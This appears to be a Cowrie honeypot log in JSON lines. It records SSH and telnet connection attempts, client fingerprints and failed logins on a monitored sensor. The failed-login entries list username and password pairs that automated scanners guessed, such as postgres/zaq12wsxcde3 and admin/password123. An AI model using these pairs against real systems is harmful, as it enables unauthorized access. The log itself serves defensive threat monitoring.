{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:38.313052Z","src_ip":"103.106.188.32","session":"49cd8b84f66e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:38.531459Z","src_ip":"103.106.188.32","session":"49cd8b84f66e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"zaq12wsxcde3","message":"login attempt [postgres/zaq12wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:39.613251Z","src_ip":"103.106.188.32","session":"49cd8b84f66e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:40.941562Z","src_ip":"103.106.188.32","session":"49cd8b84f66e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47196,"dst_ip":"10.17.0.5","dst_port":23,"session":"654b23795240","protocol":"telnet","message":"New connection: 20.123.41.163:47196 (10.17.0.5:23) [session: 654b23795240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:44.352655Z"}
{"eventid":"cowrie.session.closed","duration":4.024451971054077,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:48.377020Z","src_ip":"20.123.41.163","session":"654b23795240","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":17729,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd7cdcf6ddc7","protocol":"ssh","message":"New connection: 185.48.213.208:17729 (10.17.0.5:22) [session: bd7cdcf6ddc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:49.722651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:49.727804Z","src_ip":"185.48.213.208","session":"bd7cdcf6ddc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:49.845911Z","src_ip":"185.48.213.208","session":"bd7cdcf6ddc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"abc","message":"login attempt [tester/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:50.351875Z","src_ip":"185.48.213.208","session":"bd7cdcf6ddc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:56:51.474144Z","src_ip":"185.48.213.208","session":"bd7cdcf6ddc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":41560,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ce847d142d5","protocol":"ssh","message":"New connection: 103.146.202.174:41560 (10.17.0.5:22) [session: 5ce847d142d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:10.204738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:10.214230Z","src_ip":"103.146.202.174","session":"5ce847d142d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:10.467703Z","src_ip":"103.146.202.174","session":"5ce847d142d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer@123","message":"login attempt [deployer/deployer@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:11.565479Z","src_ip":"103.146.202.174","session":"5ce847d142d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.177","src_port":60796,"dst_ip":"10.17.0.5","dst_port":22,"session":"906253b72c46","protocol":"ssh","message":"New connection: 209.99.189.177:60796 (10.17.0.5:22) [session: 906253b72c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:12.815590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:12.820503Z","src_ip":"209.99.189.177","session":"906253b72c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:12.825653Z","src_ip":"103.146.202.174","session":"5ce847d142d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:12.955689Z","src_ip":"209.99.189.177","session":"906253b72c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerasdf","message":"login attempt [ubuntu/qwerasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:13.495869Z","src_ip":"209.99.189.177","session":"906253b72c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:14.627577Z","src_ip":"209.99.189.177","session":"906253b72c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59656,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b73fa06c59","protocol":"telnet","message":"New connection: 20.123.41.163:59656 (10.17.0.5:23) [session: 62b73fa06c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:19.429811Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b522009a97","protocol":"telnet","message":"New connection: 174.138.46.234:34334 (159.203.135.109:23) [session: b9b522009a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:23.294297Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34566,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad7435f75b7b","protocol":"telnet","message":"New connection: 174.138.46.234:34566 (159.203.135.109:23) [session: ad7435f75b7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:24.144654Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":63184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b0448130c8e","protocol":"ssh","message":"New connection: 109.91.4.177:63184 (10.17.0.5:22) [session: 3b0448130c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:26.423163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:26.427797Z","src_ip":"109.91.4.177","session":"3b0448130c8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:26.540467Z","src_ip":"109.91.4.177","session":"3b0448130c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:27.344726Z","src_ip":"109.91.4.177","session":"3b0448130c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:28.458036Z","src_ip":"109.91.4.177","session":"3b0448130c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.992520809173584,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:30.137049Z","src_ip":"174.138.46.234","session":"ad7435f75b7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.990324020385742,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:32.284495Z","src_ip":"174.138.46.234","session":"b9b522009a97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.106.188.32","src_port":55902,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa8d79b2949","protocol":"ssh","message":"New connection: 103.106.188.32:55902 (10.17.0.5:22) [session: dfa8d79b2949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:36.045900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:36.050154Z","src_ip":"103.106.188.32","session":"dfa8d79b2949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:36.309095Z","src_ip":"103.106.188.32","session":"dfa8d79b2949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456!","message":"login attempt [postgres/123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:37.333152Z","src_ip":"103.106.188.32","session":"dfa8d79b2949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:57:38.556050Z","src_ip":"103.106.188.32","session":"dfa8d79b2949","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":33969,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ea834f89180","protocol":"ssh","message":"New connection: 103.248.120.6:33969 (10.17.0.5:22) [session: 4ea834f89180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:04.964540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:04.969748Z","src_ip":"103.248.120.6","session":"4ea834f89180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:05.188344Z","src_ip":"103.248.120.6","session":"4ea834f89180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.81069350242615,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:05.240423Z","src_ip":"20.123.41.163","session":"62b73fa06c59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:06.092117Z","src_ip":"103.248.120.6","session":"4ea834f89180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.146.202.174","src_port":58290,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cf61a33739","protocol":"ssh","message":"New connection: 103.146.202.174:58290 (10.17.0.5:22) [session: 07cf61a33739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:06.264724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:06.269878Z","src_ip":"103.146.202.174","session":"07cf61a33739","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:06.515579Z","src_ip":"103.146.202.174","session":"07cf61a33739","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:58:07.313174Z","src_ip":"103.248.120.6","session":"4ea834f89180","protocol":"ssh"}
